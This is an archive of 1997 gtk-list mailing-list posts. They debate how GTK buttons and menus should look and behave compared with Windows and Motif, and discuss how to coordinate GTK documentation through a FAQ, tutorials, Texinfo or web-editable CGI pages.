id PAA09217; Thu, 12 Jun 1997 15:42:44 -0400
Sender: albrecht@algorithmics.com
Message-Id: <33A05133.4192@algorithmics.com>
Date:Thu, 12 Jun 1997 15:42:43 -0400
From: Jonathan Albrecht <albrecht@algorithmics.com>
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5 sun4m)
Mime-Version: 1.0
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Stupid feature requests
References: <Pine.GSO.3.95q.970612112459.24101E-100000@augustus-239.cs.umn.edu>
<199706121820.LAA28183@graft.xcf.berkeley.edu>
<19970612184735.28386.qmail@dialup.pathway.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
sumner@pathway.nospam.net wrote:
>
> Peter Mattis writes:
> >
> > Shawn T Amundson writes:
> > >Isn't this just a matter of shifting the widget that is in the button
> > >down and right 2(?) pixels? It shouldn't make a difference what widget it
> > >is, whether it's a label, pixmap, or a container with both.
> >
> > The reason buttons don't move their child down and to the right when
> > they are depressed is because I don't think that's what is happening
> > visually. My view of buttons is that you are looking at them straight
> > on. That is, the user interface lies in a plane and you're above it
> > looking straight at it. When a button gets pressed it moves directly
> > away from you. To be absolutely correct I guess the child should
> > actually shrink a tiny amount. But I don't see why the child should
> > shift down and to the left. Remember, the child is supposed to be
> > attached to the buttons surface. Its not good for it to appear like
> > the child is slipping on the surface of the button.
>
> I concur with Peter's assessment of the visuals. It would be weird
> for the pixmaps to move sideways. Yes, shrinking is technically
> appropriate, but it would look really ugly for some images and isn't
> worth the trouble it would be, IMO.
>
I have to disagree with all of the above. Regarding Shawn's quote, I
think it is more than just moving the pixmap. In windows at least I
think the shadow and hightlights on the edges of the button also
change. The top and left edges become thicker and the lower and right
edges become corespondingly thinner. This is why the child doesn't
appear to be slipping.
Shrinking is not correct either. The mapping of the (apparently) 3d
widgets to your 2d monitor is what I think is called an orthographic
projection. I hope I have the term right. It means that any
perspective has been removed so objects that are the same physical size
will always appear to be the same size no matter their distance from the
observer. Nothing ever shrinks when it moves farther from the observer.
Let's say the monitor screen is in the x-y plane and the z direction
gives you the depth information, i.e. things move in and out of the
screen along the direction of z. Right now in GTK everything moves
straight in and out of the screen so the projection of a vector in the z
direction onto the x-y plane would just be a point. In windows the same
vector projected onto the x-y plane would be a line which is 45 degrees
down from the x direction. Neither way is more correct. They are just
different projections of the same thing. It's only important to be
consistant.
All that said, I like the windows style better than the motif style
because the extra movement gives me much more visual feedback and a more
'tactile' experience. I think the motif style looks too simple and
out-of-date.
Jon
From amundson@cs.umn.edu
Received: (qmail 316 invoked from network); 12 Jun 1997 20:40:23 -0000
Received: from augustus-239.cs.umn.edu (root@160.94.239.171)
by mail2.redhat.com with SMTP; 12 Jun 1997 20:40:22 -0000
Received: from guinness.cs.umn.edu (amundson@guinness.cs.umn.edu [128.101.229.5])
by augustus-239.cs.umn.edu (8.8.5/8.8.5) with ESMTP id PAA08018
for <gtk-list@redhat.com>; Thu, 12 Jun 1997 15:40:10 -0500 (CDT)
Received: from localhost (amundson@localhost) by guinness.cs.umn.edu (8.8.3/8.8.0)
with SMTP id PAA13366 for <gtk-list@redhat.com>; Thu, 12 Jun 1997 15:40:09 -0500
X-Authentication-Warning: guinness.cs.umn.edu: amundson owned process doing -bs
Date: Thu, 12 Jun 1997 15:40:09 -0500 (CDT)
From: Shawn T Amundson <amundson@cs.umn.edu>
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Stupid feature requests
In-Reply-To: <33A05133.4192@algorithmics.com>
Message-ID: <Pine.LNX.3.95.970612152902.13098C-100000@guinness.cs.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Thu, 12 Jun 1997, Jonathan Albrecht wrote:
> I have to disagree with all of the above. Regarding Shawn's quote, I
> think it is more than just moving the pixmap. In windows at least I
> think the shadow and hightlights on the edges of the button also
> change. The top and left edges become thicker and the lower and right
> edges become corespondingly thinner. This is why the child doesn't
> appear to be slipping.
Yes, I agree.
> All that said, I like the windows style better than the motif style
> because the extra movement gives me much more visual feedback and a more
> 'tactile' experience. I think the motif style looks too simple and
> out-of-date.
The visual feedback is a good reason.
--
Shawn T. Amundson University of Minnesota
Systems Administration Computer Science System Staff
amundson@cs.umn.edu http://www.cs.umn.edu/~amundson/
while (i) { last }
i, do exist.
forever;
From arun@home.com
Received: (qmail 26717 invoked from network); 12 Jun 1997 23:04:19 -0000
Received: from ha1.rdc1.nj.home.com (siteadm@24.3.128.66)
by mail2.redhat.com with SMTP; 12 Jun 1997 23:04:18 -0000
Received: from cc1000916-a.avnl1.nj.home.com ([24.3.133.21])
by ha1.rdc1.nj.home.com (Netscape Mail Server v2.02) with ESMTP
id AAA14366 for <gtk-list@redhat.com>;
Thu, 12 Jun 1997 16:04:10 -0700
Received: (from arun@localhost) by cc1000916-a.avnl1.nj.home.com (8.7.4/8.7.3)
id TAA03002; Thu, 12 Jun 1997 19:03:05 -0400
Date: Thu, 12 Jun 1997 19:03:05 -0400
Message-Id: <199706122303.TAA03002@cc1000916-a.avnl1.nj.home.com>
To: gtk-list@redhat.com
In-reply-to: <Pine.LNX.3.95.970612152902.13098C-100000@guinness.cs.umn.edu>
(message from Shawn T Amundson on Thu, 12 Jun 1997 15:40:09 -0500
(CDT))
Subject: Re: [gtk-list] Re: Stupid feature requests
From: Arun Sharma <arun@home.com>
On Thu, 12 Jun 1997 15:40:09 -0500 (CDT), Shawn T Amundson wrote:
>> All that said, I like the windows style better than the
>> motif style because the extra movement gives me much more
>> visual feedback and a more 'tactile' experience. I think
>> the motif style looks too simple and out-of-date.
s> The visual feedback is a good reason.
Also, there doesn't seem to be a parameter to control the width of the
shadow on the buttons. On windows, I think it's broader and gives the
illusion of being deeper.
-Arun
From martynas@nomagic.com
Received: (qmail 24835 invoked from network); 13 Jun 1997 08:12:24 -0000
Received: from unknown (HELO banginis.nm3.ktu.lt) (qmailr@193.219.67.66)
by mail2.redhat.com with SMTP; 13 Jun 1997 08:12:21 -0000
Received: (qmail 23072 invoked from network); 13 Jun 1997 08:13:03 -0000
Received: from avis.nm3.ktu.lt (HELO avis) (193.219.67.181)
by banginis.nm3.ktu.lt with SMTP; 13 Jun 1997 08:13:03 -0000
Message-ID: <33A100E1.364D@nomagic.com>
Date: Fri, 13 Jun 1997 11:12:17 +0300
From: Martynas Kunigelis <martynas@nomagic.com>
Organization: No Magic, Inc.
X-Mailer: Mozilla 3.01Gold (WinNT; I)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Stupid feature requests
References: <Pine.GSO.3.95q.970612112459.24101E-100000@augustus-239.cs.umn.edu>
<199706121820.LAA28183@graft.xcf.berkeley.edu>
<19970612184735.28386.qmail@dialup.pathway.net> <33A05133.4192@algorithmics.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
>
> All that said, I like the windows style better than the motif style
> because the extra movement gives me much more visual feedback and a more
> 'tactile' experience. I think the motif style looks too simple and
> out-of-date.
>
> Jon
>
I completely agree too. Though I doubt the author will listen to us,
well it's his unquestionable priviledge. :(
Martynas
From adam@uunet.pipex.com
Received: (qmail 1900 invoked from network); 13 Jun 1997 09:13:50 -0000
Received: from sierra.sci-park.uunet.pipex.com (194.130.1.24)
by mail2.redhat.com with SMTP; 13 Jun 1997 09:13:50 -0000
Received: (from adam@localhost) by sierra.sci-park.uunet.pipex.com (8.6.11/8.6.9)
id KAA24833; Fri, 13 Jun 1997 10:05:25 GMT
Date: Fri, 13 Jun 1997 10:05:25 GMT
Message-Id: <199706131005.KAA24833@sierra.sci-park.uunet.pipex.com>
From: "Adam D. Moss" <adam@uunet.pipex.com>
To: gtk-list@redhat.com
Subject: [gtk-list] Stupid feature requests
In-Reply-To: <33A01352.2BB9@nomagic.com>
References: <199706121423.HAA06607@panda.mosberger>
<33A01352.2BB9@nomagic.com>
X-Face: %'EXt;w3g|JblL?5#_=D+{Srq!]L{+`>D_?Sm(g`06*`,'sfcv(y+2|Dp7u27UW&dZ@K0qf
8Y-cDh'b~85i4^r[,%[&d+Rg5k7kj#(7DysZz>J$!$C}=8VI(1Y&t*sLr59ag,a$B5-MUtMrPG\*\=
&1_gx>0owf/#C[WrC5P$~*br|};PF_?7Ge*5fC3o-6k!>h~}Vw)rvxyAt3z+5*h*4LvXm=vcp^*)G%
S}6&.lN]'xDAXxf%<B!z(\Y}'8Wd2{p,[4`j9oFFQYYP
Martynas Kunigelis writes:
> 2. In _all_ other GUI toolkits I've seen the button/menu/scrollbar
> stays pressed if you press the mouse button and move the pointer
> off the widget.
I think I'd prefer this behaviour, yes. But it's a small thing. :)
> 3. The menus act kinda weird. If I drag the pointer through menus, it's
> ok. But if I release the mouse button, the pointer changes into
> X and the menu acts as if I still held the mouse button pressed.
...
> I don't like that...
I *do* - having to hold down a button (esp. on a stylus!) can be
painful for prolonged periods when browsing menus. :^)
--Adam
From markom@snet.fri.uni-lj.si
Received: (qmail 5478 invoked from network); 13 Jun 1997 09:24:24 -0000
Received: from stealth.fri.uni-lj.si (HELO snet.fri.uni-lj.si) (@193.2.72.13)
by mail2.redhat.com with SMTP; 13 Jun 1997 09:24:23 -0000
Received: from hel (hel.fri.uni-lj.si [193.2.73.158]) by snet.fri.uni-lj.si
(8.8.5/8.7.3) with SMTP id LAA04689 for <gtk-list@redhat.com>;
Fri, 13 Jun 1997 11:24:10 +0200 (METDST)
Sender: markom@snet.fri.uni-lj.si
Message-ID: <33A111B9.7583@snet.fri.uni-lj.si>
Date: Fri, 13 Jun 1997 11:24:09 +0200
From: Marko Macek <Marko.Macek@snet.fri.uni-lj.si>
Organization: Faculty of Computer and Information Science
X-Mailer: Mozilla 3.0 (X11; I; HP-UX B.10.01 9000/715)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Stupid feature requests (and bug).
References: <199706121423.HAA06607@panda.mosberger> <33A01352.2BB9@nomagic.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
> 3. The menus act kinda weird. If I drag the pointer through menus, it's
> ok. But if I release the mouse button, the pointer changes into
> X and the menu acts as if I still held the mouse button pressed.
> Even when I move the poiner out of the menu, the gtk thinks the
> mouse button is still down and keeps popping up other popup menus
> from the menu bar as I move the pointer past them. Is this how
> it is meant to be? I don't like that... I'd love the menus to act
> just like Motif or Windogs or any other menus. ;)
I'd second this proposal. The problem with the current behaviour is
that it not possible to reasonably implement keyboard navigation of
menus (because no item is selected if you move the mouse out of the
menu and button is not pressed). Like in motif/windows, there should
be at least one item selected unless the button is pressed.
Mark
--
... MouseDevice /dev/null
--------_--------------------------------------------------------------
Marko.Macek@snet.fri.uni-lj.si http://ixtas.fri.uni-lj.si/~markom
From martynas@nomagic.com
Received: (qmail 5850 invoked from network); 13 Jun 1997 09:28:10 -0000
Received: from unknown (HELO banginis.nm3.ktu.lt) (qmailr@193.219.67.66)
by mail2.redhat.com with SMTP; 13 Jun 1997 09:28:07 -0000
Received: (qmail 23642 invoked from network); 13 Jun 1997 09:28:46 -0000
Received: from avis.nm3.ktu.lt (HELO avis) (193.219.67.181)
by banginis.nm3.ktu.lt with SMTP; 13 Jun 1997 09:28:46 -0000
Message-ID: <33A112A0.7840@nomagic.com>
Date: Fri, 13 Jun 1997 12:28:00 +0300
From: Martynas Kunigelis <martynas@nomagic.com>
Organization: No Magic, Inc.
X-Mailer: Mozilla 3.01Gold (WinNT; I)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Stupid feature requests
References: <199706121423.HAA06607@panda.mosberger>
<33A01352.2BB9@nomagic.com>
<199706131005.KAA24833@sierra.sci-park.uunet.pipex.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Adam D. Moss wrote:
>
> Martynas Kunigelis writes:
> > 2. In _all_ other GUI toolkits I've seen the button/menu/scrollbar
> > stays pressed if you press the mouse button and move the pointer
> > off the widget.
>
> I think I'd prefer this behaviour, yes. But it's a small thing. :)
>
> > 3. The menus act kinda weird. If I drag the pointer through menus, it's
> > ok. But if I release the mouse button, the pointer changes into
> > X and the menu acts as if I still held the mouse button pressed.
> ...
> > I don't like that...
>
> I *do* - having to hold down a button (esp. on a stylus!) can be
> painful for prolonged periods when browsing menus. :^)
>
Sure, that's no what I meant. In general, what I wanted was when you
release a mouse button, the menu stays on, but you have to *click*
on a sub-menu to get it activated. But I figured that NT does it the
same way as gtk (or vice-versa :) ).
Now all I want is that the pointer would remain an arrow, not an X.
I *do* realize that many different cursors are there
to be used, and the pointer-only philosophy used by many toolkits is
not that good (we're just used to it). But an X to select a menu item
does not look good to me. It hides half of the item text! Maybe a
right-headed pointer?
Anyway, just my 0.0002 cents.
Martynas
From martynas@nomagic.com
Received: (qmail 8530 invoked from network); 13 Jun 1997 09:32:56 -0000
Received: from unknown (HELO banginis.nm3.ktu.lt) (qmailr@193.219.67.66)
by mail2.redhat.com with SMTP; 13 Jun 1997 09:32:47 -0000
Received: (qmail 23687 invoked from network); 13 Jun 1997 09:33:24 -0000
Received: from avis.nm3.ktu.lt (HELO avis) (193.219.67.181)
by banginis.nm3.ktu.lt with SMTP; 13 Jun 1997 09:33:24 -0000
Message-ID: <33A113B7.1E82@nomagic.com>
Date: Fri, 13 Jun 1997 12:32:39 +0300
From: Martynas Kunigelis <martynas@nomagic.com>
Organization: No Magic, Inc.
X-Mailer: Mozilla 3.01Gold (WinNT; I)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Stupid feature requests (and bug).
References: <199706121423.HAA06607@panda.mosberger> <33A01352.2BB9@nomagic.com>
<33A111B9.7583@snet.fri.uni-lj.si>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Marko Macek wrote:
>
> > 3. The menus act kinda weird. If I drag the pointer through menus, it's
> > ok. But if I release the mouse button, the pointer changes into
> > X and the menu acts as if I still held the mouse button pressed.
> > Even when I move the poiner out of the menu, the gtk thinks the
> > mouse button is still down and keeps popping up other popup menus
> > from the menu bar as I move the pointer past them. Is this how
> > it is meant to be? I don't like that... I'd love the menus to act
> > just like Motif or Windogs or any other menus. ;)
>
> I'd second this proposal. The problem with the current behaviour is
> that it not possible to reasonably implement keyboard navigation of
> menus (because no item is selected if you move the mouse out of the
> menu and button is not pressed). Like in motif/windows, there should
> be at least one item selected unless the button is pressed.
>
> Mark
Mark, I had exactly the same opinion before (it was my proposal in
fact), but now I figured out that Windows NT acts just the same (as
gtk). How come I always thought it had to be the other way? Maybe
I had used Windows 3.1 too long, but now I'm not even sure 3.1 does it
that way... However, your statement is valid IMHO. If the user releases
the mouse button, make him *click* it to select and activate the item.
One more reason for that is that some X servers act really sluggish
when thy have to popup/hide lots of the submenus when you move the
pointer across a menu.
Martynas
From martynas@nomagic.com
Received: (qmail 12861 invoked from network); 13 Jun 1997 09:48:54 -0000
Received: from unknown (HELO banginis.nm3.ktu.lt) (qmailr@193.219.67.66)
by mail2.redhat.com with SMTP; 13 Jun 1997 09:48:48 -0000
Received: (qmail 23866 invoked from network); 13 Jun 1997 09:49:31 -0000
Received: from avis.nm3.ktu.lt (HELO avis) (193.219.67.181)
by banginis.nm3.ktu.lt with SMTP; 13 Jun 1997 09:49:31 -0000
Message-ID: <33A1177D.2ADD@nomagic.com>
Date: Fri, 13 Jun 1997 12:48:45 +0300
From: Martynas Kunigelis <martynas@nomagic.com>
Organization: No Magic, Inc.
X-Mailer: Mozilla 3.01Gold (WinNT; I)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: Menus again
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
As I have already said, I see a problem with menus where sub-menus
popup too quickly as I drag the mouse pointer down the menu. The
Sun X servers here at my university hate that as they can not draw
the popup windows that quickly, and they have to quickly erase them
as I drag the mouse furhter down the menu. The result is bunch of
flashy rectangles, as the submenus get erased before the ever get to
paint themselves. I just checked how Windows NT hadles this. They
do it quite good - there's a slight delay before a submenu pops up,
too small to notice if you know which item you're selecting, but
long enough not to popup the submenus if you drag past them. Damn, my
English sucks, I hope you're getting what I mean. And please don't
flame me for quoting Windows NT that often - I'm forced to use it here
at work. BTW I think that the GUI part of Windows if pretty good,
just I'm too bored of it.
Martynas
From kumar1@.rdc1.sfba.home.com
Received: (qmail 28837 invoked from network); 30 Jun 1997 05:43:46 -0000
Received: from ha1.rdc1.sfba.home.com (siteadm@24.0.0.66)
by mail2.redhat.com with SMTP; 30 Jun 1997 05:43:46 -0000
Received: from c654771-a.frmt1.sfba.home.com ([24.1.65.243])
by ha1.rdc1.sfba.home.com (Netscape Mail Server v2.02) with SMTP
id AAA6612 for <gtk-list@redhat.com>;
Sun, 29 Jun 1997 22:43:47 -0700
Sender: kumar1@.rdc1.sfba.home.com
Message-ID: <33B747AD.298FEC99@home.com>
Date: Sun, 29 Jun 1997 22:44:13 -0700
From: Prasanth Kumar <kumar1@home.com>
Organization: At Home Network
X-Mailer: Mozilla 3.01Gold (X11; I; Linux 2.0.30 i586)
MIME-Version: 1.0
To: gtk-list@redhat.com
Subject: Re:gtk documentation
References: <33B5B938.4C92A532@ms1.hinet.net> <199706300531.OAA30842@lira.izumi.or.jp>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi... I'm new to this list. Last time I looked at GTK a few
months back, documentation was non-existant (excluding plowing
through the source code :-) I'm wondering how it is now?
However, the widget library I have been currently looking at now
is called EZwgl. It seems very easy to use, is well documented,
and also GPLed with source code available. I haven't seen much
use of the EZwgl library but there seems to quite a bit of talk
of GTK. So I am wondering those who have looked at both, why they
choose one over another? You can email me directly if you desire...
Thanks
Prasanth Kumar
kumar1@home.com
From raph@acm.org Thu May 11 19:23:25 2000
Received: (qmail 15207 invoked from network); 30 Jun 1997 16:42:11 -0000
Received: from blacklodge.c2.net (208.139.36.35)
by mail2.redhat.com with SMTP; 30 Jun 1997 16:42:11 -0000
Received: (from raph@localhost) by blacklodge.c2.net (8.8.5/8.7.3) id JAA29651;
Mon, 30 Jun 1997 09:43:17 -0700 (PDT)
Date: Mon, 30 Jun 1997 09:43:16 -0700 (PDT)
From: Raph Levien <raph@acm.org>
X-Sender: raph@blacklodge.c2.net
To: gtk-list@redhat.com
cc: Prasanth Kumar <kumar1@home.com>
Subject: Re: [gtk-list] Re:gtk documentation
In-Reply-To: <33B747AD.298FEC99@home.com>
Message-ID: <Pine.BSF.3.91.970630093226.26652A-100000@blacklodge.c2.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Sun, 29 Jun 1997, Prasanth Kumar wrote:
> Hi... I'm new to this list. Last time I looked at GTK a few
> months back, documentation was non-existant (excluding plowing
> through the source code :-) I'm wondering how it is now?
The documentation is still written in C, although there are patches of
texinfo documentation appearing in the distribution now.
> However, the widget library I have been currently looking at now
> is called EZwgl. It seems very easy to use, is well documented,
> and also GPLed with source code available. I haven't seen much
> use of the EZwgl library but there seems to quite a bit of talk
> of GTK. So I am wondering those who have looked at both, why they
> choose one over another? You can email me directly if you desire...
I think the main reason people are excited about GTK is that the Gimp was
written in it. The Gimp is by far and away the most polished free
software X program I've ever seen, so it's natural that a lot of people
want to make software that looks and feels as smooth.
I took a look at EZwgl. It's quite impressive, but as far as I could find
out no real software has been written in it yet. I think the experience
of having real software makes a big difference in terms of shaking out a
library of any kind, especially a UI toolkit.
Raph
From slow@intergate.bc.ca
Received: (qmail 13910 invoked from network); 6 Jul 1997 20:43:32 -0000
Received: from diablo.intergate.bc.ca (root@207.34.179.2)
by mail2.redhat.com with SMTP; 6 Jul 1997 20:43:31 -0000
Received: from slow (imain@pm14s22.intergate.bc.ca [207.34.180.187])
by diablo.intergate.bc.ca (8.8.5/8.6.9) with SMTP id NAA24887 for
<gtk-list@redhat.com>; Sun, 6 Jul 1997 13:49:17 -0700 (PDT)
Date: Sun, 6 Jul 1997 13:45:04 -0700 (PDT)
From: Ian Main <slow@intergate.bc.ca>
X-Sender: imain@slow
To: gtk-list@redhat.com
Subject: gtk docs - anyone working on them ?
In-Reply-To: <k290zlski4.fsf@mind.i-did-not-set--mail-host-address--so-shoot-me>
Message-ID: <Pine.LNX.3.96.970706134055.3081F-100000@slow>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
I'm just curious if anyone is working on documentation right now ? I
would be willing to help, and was just wondering if anyone has already
started ?
I was thinking of a tutorial style doc.. something that takes you through
with examples and explains the calls and ideas/philosophy.
I've been pretty busy lately, but things should smooth out in a few weeks
and I'll have more time again.
Ian
From amundson@cs.umn.edu
Received: (qmail 1691 invoked from network); 7 Jul 1997 20:44:32 -0000
Received: from augustus-239.cs.umn.edu (root@160.94.239.171)
by mail2.redhat.com with SMTP; 7 Jul 1997 20:44:32 -0000
Received: from guinness.cs.umn.edu (amundson@guinness.cs.umn.edu [128.101.229.5])
by augustus-239.cs.umn.edu (8.8.5/8.8.5) with ESMTP id PAA26912;
Mon, 7 Jul 1997 15:44:18 -0500 (CDT)
Received: from localhost (amundson@localhost) by guinness.cs.umn.edu (8.8.3/8.8.0)
with SMTP id PAA17107; Mon, 7 Jul 1997 15:44:17 -0500
X-Authentication-Warning: guinness.cs.umn.edu: amundson owned process doing -bs
Date: Mon, 7 Jul 1997 15:44:16 -0500 (CDT)
From: Shawn T Amundson <amundson@cs.umn.edu>
To: Ian Main <slow@intergate.bc.ca>
cc: gtk-list@redhat.com
Subject: Re: [gtk-list] gtk docs - anyone working on them ?
In-Reply-To: <Pine.LNX.3.96.970706134055.3081F-100000@slow>
Message-ID: <Pine.LNX.3.95.970707152941.16954A-100000@guinness.cs.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Sun, 6 Jul 1997, Ian Main wrote:
>
> I'm just curious if anyone is working on documentation right now ? I
> would be willing to help, and was just wondering if anyone has already
> started ?
I started a FAQ, and will probably be maintaining and adding to it
periodically. Raph has done a couple tutorials. All docs I know of
are located at:
http://www.cs.umn.edu/~amundson/gtk/docs/
I've started one tutorial on how to write composite widgets.
> I was thinking of a tutorial style doc.. something that takes you through
> with examples and explains the calls and ideas/philosophy.
>
> I've been pretty busy lately, but things should smooth out in a few weeks
> and I'll have more time again.
I can host this on my GTK web pages for this without any problem.
I can also help write them.
--
Shawn T. Amundson University of Minnesota
Systems Administration Computer Science System Staff
amundson@cs.umn.edu http://www.cs.umn.edu/~amundson/
WARNING: Perl code is bleeding from my ears. Please stand back while
I try and suck it back in. The medics have been called and
are bringing the Guinness. Guinness will fix everything.
From jay@a42.com
Received: (qmail 6868 invoked from network); 19 Jul 1997 20:18:18 -0000
Received: from cascadia.a42.com (jay@199.184.169.71)
by mail2.redhat.com with SMTP; 19 Jul 1997 20:18:18 -0000
Received: from localhost (jay@localhost)
by cascadia.a42.com (8.8.5/8.8.5) with SMTP id NAA23769
for <gtk-list@redhat.com>; Sat, 19 Jul 1997 13:18:45 -0700
Date: Sat, 19 Jul 1997 13:18:45 -0700 (PDT)
From: Jay Painter <jay@a42.com>
Reply-To: Jay Painter <jay@a42.com>
To: gtk-list@redhat.com
Subject: Documenting GTK
Message-ID: <Pine.LNX.3.96.970719130204.23741A-100000@cascadia.a42.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
I have been thinking about writing a set of CGI scripts which would allow
us to document GTK calls on the web. The general idea is that there would
be a web page that you could search for a gtk function on, then edit and
submit the documentation for the call right there. The changes/additions
would appear immeadiately on the web site.
My hope is that this would take less coordination than the tekinfo
documents, and would make it more reasonable for people to contribute
small amounts of documentation.
Comments?
-------------------------------------------
Jay Painter -- jay@ssc.com -- jay@a42.com
Systema Admin., SSC/Linux Journal
http://www.a42.com/~jay
From otaylor@huygens.cit.cornell.edu
Received: (qmail 25279 invoked from network); 19 Jul 1997 21:12:54 -0000
Received: from cu-dialup-1308.cit.cornell.edu (qmailr@128.253.44.22)
by mail2.redhat.com with SMTP; 19 Jul 1997 21:12:53 -0000
Received: (qmail 28296 invoked by uid 504); 19 Jul 1997 21:14:40 -0000
Sender: otaylor@huygens.cit.cornell.edu
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Documenting GTK
References: <Pine.LNX.3.96.970719130204.23741A-100000@cascadia.a42.com>
From: Owen Taylor <owt1@cornell.edu>
Date: 19 Jul 1997 17:14:39 -0400
In-Reply-To: Jay Painter's message of Sat, 19 Jul 1997 13:18:45 -0700 (PDT)
Message-ID: <lzvi26218g.fsf@huygens.cit.cornell.edu>
Lines: 20
X-Mailer: Gnus v5.4.9/Emacs 19.34
> I have been thinking about writing a set of CGI scripts which would allow
> us to document GTK calls on the web. The general idea is that there would
> be a web page that you could search for a gtk function on, then edit and
> submit the documentation for the call right there. The changes/additions
> would appear immeadiately on the web site.
Why not write a CGI script that allows people to sign up to do the
documentation for a widget/source file? (or just coordinate things
manually) ... TexInfo is pretty ugly, but it's not too hard to write
when you have examples to work from. Peter has done a significant
amount of work already on the TexInfo stuff and it's probably a better
source for conversions to other formats than HTML. I think if we
divied up the task of documentating the 70 or so widgets, we could
have the task done pretty quickly.
On the other hand, any work on documentation is useful.
Owen
From jay@a42.com
Received: (qmail 17615 invoked from network); 19 Jul 1997 22:42:31 -0000
Received: from cascadia.a42.com (jay@199.184.169.71)
by mail2.redhat.com with SMTP; 19 Jul 1997 22:42:31 -0000
Received: from localhost (jay@localhost)
by cascadia.a42.com (8.8.5/8.8.5) with SMTP id PAA24009
for <gtk-list@redhat.com>; Sat, 19 Jul 1997 15:43:09 -0700
Date: Sat, 19 Jul 1997 15:43:09 -0700 (PDT)
From: Jay Painter <jay@a42.com>
To: gtk-list@redhat.com
Subject: Re: [gtk-list] Re: Documenting GTK
In-Reply-To: <lzvi26218g.fsf@huygens.cit.cornell.edu>
Message-ID: <Pine.LNX.3.96.970719152122.23962B-100000@cascadia.a42.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
> Why not write a CGI script that allows people to sign up to do the
> documentation for a widget/source file? (or just coordinate things
> manually) ... TexInfo is pretty ugly, but it's not too hard to write
> when you have examples to work from. Peter has done a significant
> amount of work already on the TexInfo stuff and it's probably a better
I wasn't planning on entering the documentation in HTML, what I thought I
would do would have auto-generation of a plain text file, let's say
gtk_container_add.txt, which would be web-editable, and CGI/server side
includes would be used to produce the web pages in a nice format.
It's not meant to be a final format.
> source for conversions to other formats than HTML. I think if we
> divied up the task of documentating the 70 or so widgets, we could
> have the task done pretty quickly.
From hoek@pcjeroen.ubu.ruu.nl
Received: (qmail 5568 invoked from network); 20 Jul 1997 00:33:01 -0000
Received: from pcjeroen.ubu.ruu.nl (hoek@131.211.208.90)
by mail2.redhat.com with SMTP; 20 Jul 1997 00:33:00 -0000
Received: (from hoek@localhost)
by pcjeroen.ubu.ruu.nl (8.8.5/8.8.5) id CAA02567
for gtk-list@redhat.com; Sun, 20 Jul 1997 02:32:39 +0200
From: Hoek <hoek@pcjeroen.ubu.ruu.nl>
Message-Id: <199707200032.CAA02567@pcjeroen.ubu.ruu.nl>
Subject: Re: [gtk-list] Re: Documenting GTK
In-Reply-To: <lzvi26218g.fsf@huygens.cit.cornell.edu> from Owen Taylor at
"Jul 19, 97 05:14:39 pm"
To: gtk-list@redhat.com
Date: Sun, 20 Jul 1997 02:32:39 +0200 (MET DST)
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
> Why not write a CGI script that allows people to sign up to do the
> documentation for a widget/source file? (or just coordinate things
> manually) ... TexInfo is pretty ugly, but it's not too hard to write
> when you have examples to work from. Peter has done a significant
> amount of work already on the TexInfo stuff and it's probably a better
> source for conversions to other formats than HTML. I think if we
> divied up the task of documentating the 70 or so widgets, we could
> have the task done pretty quickly.
>
> On the other hand, any work on documentation is useful.
Well, I certainly would like to help. At the moment, I'm writing some
programs using gtk and the main difficulty is to understand some of the
basic concepts. For instance, I haven't figured out what mapping and
realizing is. If someone can help me out to gain some overall insights,
it would be great. From there on, I can figure out what I need and
document it at the same time. The format is no problem, I can write it
in Texinfo, html or anything you want (except Ms word :-). I'm also
willing to (help) coordinate this.
Best regards,
Hoek.
From slow@intergate.bc.ca
Received: (qmail 25436 invoked from network); 20 Jul 1997 04:25:47 -0000
Received: from diablo.intergate.bc.ca (root@207.34.179.2)
by mail2.redhat.com with SMTP; 20 Jul 1997 04:25:47 -0000
Received: from slow (imain@pm17s9.intergate.bc.ca [207.34.180.84])
by diablo.intergate.bc.ca (8.8.5/8.6.9) with SMTP id VAA11508;
Sat, 19 Jul 1997 21:38:52 -0700 (PDT)
Date: Sat, 19 Jul 1997 21:27:19 -0700 (PDT)
From: Ian Main <slow@intergate.bc.ca>
X-Sender: imain@slow
To: Jay Painter <jay@a42.com>
cc: gtk-list@redhat.com
Subject: Re: [gtk-list] Documenting GTK
In-Reply-To: <Pine.LNX.3.96.970719130204.23741A-100000@cascadia.a42.com>
Message-ID: <Pine.LNX.3.96.970719212415.20176B-100000@slow>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Sat, 19 Jul 1997, Jay Painter wrote:
> I have been thinking about writing a set of CGI scripts which would allow
> us to document GTK calls on the web. The general idea is that there would
> be a web page that you could search for a gtk function on, then edit and
> submit the documentation for the call right there. The changes/additions
> would appear immeadiately on the web site.
>
> My hope is that this would take less coordination than the tekinfo
> documents, and would make it more reasonable for people to contribute
> small amounts of documentation.
>
> Comments?
I think this is a great idea. I saw another post that it should be done
in texinfo, but I have nothing against plain text (and have never used
texinfo). I will try to contribute regardless though, and this
would make it easy for everyone to do their part.
Ian
